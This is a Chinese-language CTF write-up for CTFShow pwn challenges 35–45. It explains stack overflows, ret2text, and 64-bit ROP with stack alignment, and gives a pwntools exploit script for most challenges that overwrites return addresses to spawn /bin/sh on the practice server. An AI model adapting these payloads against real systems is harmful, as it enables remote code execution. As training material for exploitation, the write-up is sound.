CTF SHOW

pwn35~110

pwn35(数组溢出)

image-20250316194041817

数组溢出,输入一个超长字符串即可

pwn36(后门函数直接得到flag)

image-20250316203127145

看准了这个ctfshow函数

image-20250316203146247

这里使用了gets函数读取s数组,且此程序没有栈溢出保护,故在这里可以进行栈溢出攻击。

同时题目提示有后门函数

image-20250316203321679

查看这个get_flag函数

image-20250316203344392
1
2
3
fgets函数:char* fgets(char *restrict str, int size , FILE* restrict stream)

char *fgets(“容器的地址”, “容器的大小”, “从哪里读取”)

所以我们需要做的是

  • 将ctfshow函数的返回地址填充为get_flag函数的返回地址

查看get_flag函数的地址

image-20250316204824640

为0x08048586

整体思路为:

image-20250316204914827

(当然还有一截previous ebp),所以距离返回地址的长度为0x28+4

exp

1
2
3
4
5
6
7
from pwn import *

io = remote("pwn.challenge.ctf.show", 28183)
flag_addr = 0x08048586
payload = 0x28 * b'a' + b'b' * 4 + p32(flag_addr)
io.sendline(payload)
io.interactive()

pwn37(32位后门函数获得shell)

image-20250316211622179

总的来说和上道题大差不差,init清空缓冲区,logo和puts打印信息。只有ctfshow是挺关键的

image-20250316211716861

buf数组长14,读入了0x32长的数据,故可以实现栈溢出

题目提示有后门函数,故我们只需要找到后门函数的额起始地址即可

image-20250316212051633

故后门函数地址为 0x08048521

exp

1
2
3
4
5
6
7
from pwn import *

io = remote("pwn.challenge.ctf.show",28281)
backdoor_addr = 0x08048521
payload = b'a' * 0x12 + b'b' * 4 + p32(backdoor_addr)
io.sendline(payload)
io.interactive()

【*】pwn38(64位后门函数获得shell)

image-20250316212903030

题目可以说是完全一样,但是题目说是64位系统。放进checksec里看看就好了

image-20250316213228954

注意32位和64位的区别。首先context要设置一下,然后注意寄存器和地址都是八个字节

找到后门函数地址

image-20250316213329394

0x400657?

exp

1
2
3
4
5
6
7
8
from pwn import *
context(os='linux',arch='amd64')

io = remote("pwn.challenge.ctf.show",28147)
ret_addr = 0x400657
payload = 10 * b'a' + 8 * b'b' + p64(ret_addr)
io.sendline(payload)
io.interactive()

结果出来是错的,为什么

这是因为64位系统还需要处理**堆栈平衡**

当我们在堆栈进行堆栈的操作的时候,一定要保证在ret这条指令之前,esp指向的是我们压入栈中的地址,函数执行到ret执行之前,堆栈栈顶的地址一定要是call指令的下一个地址

因此我们还需要找一个地址: lev 的地址或者该函数结束的地址(即 retn 的地址)

image-20250316215415314

可以看到

lev的地址:0x40065b

retn的地址:0x+40066d

特别注意:构造 payload 时将该地址放在该函数开始地址之前

exp2.0

1
2
lev_addr = 0x40065b
payload = 10 * b'a' + 8 * b'b' + p64(lev_addr) +p64(ret_addr)

pwn39(32位后门函数system与参数分离)

image-20250316220015294

还是我们喜闻乐见的32位ret2text

只不过这里的后门不是函数,而是

image-20250316220118547

image-20250316220845813

这里将/bin/shsystem函数分开了

/bin/sh的地址:0x08048750

system()的地址:0x080483A0

image-20250317091227011

这张图是便于习惯的,真实的情况如下图

image-20241117141336080

这里从ctfshow函数跳转到了system函数

我们要做的是将返回地址覆盖为system函数,并将参数1填充上/bin/sh字符串的起始位置。(注意这里的参数不能是/bin/sh整个字符串,因为字符串本身被硬编码为rodata节中,要传递只能通过地址)

偏移量是:12h + 4

image-20250318094735493

这个exit可以是任意地址,如0xdeadbeef(64bit)

exp

1
2
3
4
5
6
7
8
9
from pwn import *
context(os='linux',arch='i386')

io = remote("pwn.challenge.ctf.show",28191)
str_addr = 0x08048750
sys_addr = 0x080483A0
payload = b'a'* 0x12 + b'b' * 4 + p32(sys_addr) + b'c' * 4 + p32(str_addr)
io.sendline(payload)
io.interactive()

pwn40(64位后门函数与参数分离(ROP))

image-20250317092724016

发现是64位系统。两者差异如下:

  • x86
    • 使用栈来传递参数
    • 使用eax存放返回值
  • x64
    • 前6个参数依次存放于rdi、rsi、rdx、rcx、r8、r9寄存器中
    • 第7个以后的参数存放于栈中

所以我们这里需要控制rdi的值

利用ROP

1
ROPgadget --binary pwn --only "pop|ret"
image-20250317093554911

我们使用pop rdi;ret即可,地址为 0x4007e3

ret的地址为:0x4004fe

image-20250317094655085

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(os='linux',arch='amd64')

io = remote("pwn.challenge.ctf.show",28150)
offset = 0xa
pop_rdi_addr = 0x4007e3
ret_addr = 0x4004fe
sys_addr = 0x400520
bin_sh_addr = 0x400808
payload = offset * b'a' + b'b' * 8 + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(ret_addr) + p64(sys_addr)
io.sendline(payload)
io.interactive()

pwn41(32位sh替换/bin/sh)

正如题目所说,没有/bin/sh了,但是又system函数和 ”echo flag“字符串,以及“sh”字符串

image-20250317141526361

image-20250317141617461image-20250317141627070

一般情况下,sh和/bin/sh是等效的

  1. system(“/bin/sh”):在Linux和类Unix系统中,/bin/sh通常是一个符号链接,指向系统默认的shell程序(如Bash或Shell)。因此,使用system(“/bin/sh”)会启动指定的shell程序并在新的子进程中执行。这种方式可以确保使用系统默认的shell程序执行命令,因为/bin/sh链接通常指向默认shell的可执行文件
  2. system(“sh”):使用system(“sh”)会直接启动一个名为sh的shell程序,并在新的子进程中执行。这种方式假设系统的环境变量$PATH已经配置了能够找到sh可执行文件的路径,否则可能会导致找不到sh而执行失败。

所以还是一样的,只是把/bin/sh字符串换成sh而已

system函数位置:0x080483D0

sh字符串位置:0x080487BA

exp

1
2
3
4
5
6
7
8
9
from pwn import *
context(os = 'linux', arch = 'i386')

io = remote("pwn.challenge.ctf.show",28297)
system_addr = 0x080483D0
sh_addr = 0x080487BA
payload = 0x12 * b'a' + 4 * b'b' + p32(system_addr) + 4 * b'c' + p32(sh_addr)
io.sendline(payload)
io.interactive()

pwn42(64位/sh替换/bin/sh(ROP))

和上道题的漏洞一样,不过是64位系统

偏移量:0xa

system函数地址:0x400560

sh字符串位置:0x400872

image-20250317143350570

pop_rdi_ret地址:0x400843

ret地址:0x40053e

exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(os = 'linux', arch = 'amd64')

io = remote("pwn.challenge.ctf.show",28269)
system_addr = 0x400560
sh_addr = 0x400872
pop_rdi_ret_addr = 0x400843
ret_addr = 0x40053e
payload = b'a' * 0xa + b'b' * 8 + p64(pop_rdi_ret_addr) + p64(sh_addr) + p64(ret_addr) +p64(system_addr)
io.sendline(payload)
io.interactive()

pwn43(32位不提供后门函数参数)

32位系统

image-20250317144157630

gets函数导致栈溢出

查看后门函数

image-20250317144316276

这次的后门函数似乎有点复杂

首先v0作为种子,值为time(0)

接着v3为v0作为种子的随机数

然后需要输入一个数:v2

如果v2和生成的随机数相同,则进入system函数

破解随机数是下策

我们找到一段可写区域

image-20250317145903183

实际上这在bss段,其中还有一个buf2数组

image-20250317145919246

我们可以在这里写入/bin/sh

image-20250317192647582

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(os = 'linux', arch = 'i386')

io = remote("pwn.challenge.ctf.show",28292)

offset = 0x6c + 4
sys_addr = 0x08048450
gets_addr = 0x08048420
bin_sh_addr = 0x0804B060

payload = offset * b'a' + p32(gets_addr) + p32(sys_addr) + p32(bin_sh_addr) + p32(bin_sh_addr)

io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()

pwn44(64位不提供后门函数参数)

漏洞原理和上道题一样,只不过换成了64位系统

image-20250317193741187

找到一块可读写区域,位于bss段

image-20250317193801701

将字符串的起始位置定位:0x602048

system函数:0x400520

gets函数:0x400530

image-20250317194030271

pop_rdi_ret:0x4007f3

ret:0x4004fe

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(os = 'linux', arch = 'amd64')

io = remote("pwn.challenge.ctf.show",28289)
bin_sh_addr = 0x602048
sys_addr = 0x400520
gets_addr = 0x400530
pop_rdi_ret_addr = 0x4007f3
ret_addr = 0x4004fe
offset = 0xa + 8

payload = b'a' * offset + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(ret_addr) + p64(gets_addr) + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(ret_addr) +p64(sys_addr)

io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()

p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(ret_addr)这一块在传递参数

Pwn45(32位无后门函数)

image-20250317200343722

103的长度读了200的数据,也是栈溢出

不过这次没有后门函数了。怎么办呢?